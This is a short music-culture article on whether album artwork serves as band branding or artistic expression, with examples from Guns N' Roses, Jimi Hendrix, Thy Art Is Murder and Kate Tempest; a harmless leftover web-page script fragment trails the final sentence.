Album artwork: part of band ‘branding’ or an extension of artistic expression?

by Rachael Morris

The album cover was originally just a protective sleeve for the fragile vinyl records it contained, but it soon transformed into a space for artistic expression in its own right, sometimes carrying just as much weight as the music itself. However, album covers are becoming an increasingly underappreciated art form, at risk of disappearance with the rise of digital music. Whilst the vinyl renaissance is helping to re-popularise this art, vinyl still only represents a very small portion of the market. But are album covers 12” canvases used to help reflect the musical content of the album, or are they merely another sales technique used to glamorise musicians and create a band image?

Some albums feature deliberately controversial artwork on their covers such as the death metal band Thy Art Is Murder’s new album ‘Holy War’. The initial cover showed a child suicide bomber but was dropped at the recommendation of the band’s label. The band said, in a statement on Facebook, that the provocative cover was a deliberate choice to represent children who are indoctrinated by, and die for, religion.

However, the original cover for Guns N Roses’ album ‘Appetite for Destruction’ depicted a robot rape scene and Axl’s initial idea for the cover was a photo of the Space Shuttle Challenger exploding! This is one of many examples of album covers which are deliberately offensive in order to create an image of the band as nonconformist and uncompromising and these types of covers certainly fall into the category of band ‘branding’.

Other covers seek to glamorise the musicians such as Jimi Hendrix’s album ‘Electric Ladyland’ which featured a group of naked women holding copies of Hendrix’s LPs and was banned because of gratuitous album cover nudity. Hendrix himself even said, in an interview, the cover had, “nothing to do with [him].”

The artwork for Kate Tempest’s debut album, ‘Everybody Down’, will be displayed at the National Portrait Gallery from next month as part of the “Picture the Poet” exhibition. This album cover, very different to Hendrix’s, features a photograph of Tempest, taken by Dav Stewart, looking startlingly young and vulnerable with her eyes turned away from the camera. It is a perfect example of a simple cover which reflects the album content and does not purely seek to glamorise the artist.

A good album cover, whether experimental like the prison and light motif of ‘Dark Side of the Moon’ or a simple photograph like Pattie Smith’s ‘Horses’, can serve as the defining image of the musician(s) for years to come. Whilst the album cover is utilised by musicians and labels in many different ways, the best ones reflect the care put into the music in the care that is put into the packaging.d.getElementsByTagName(‘head’)[0].appendChild(s);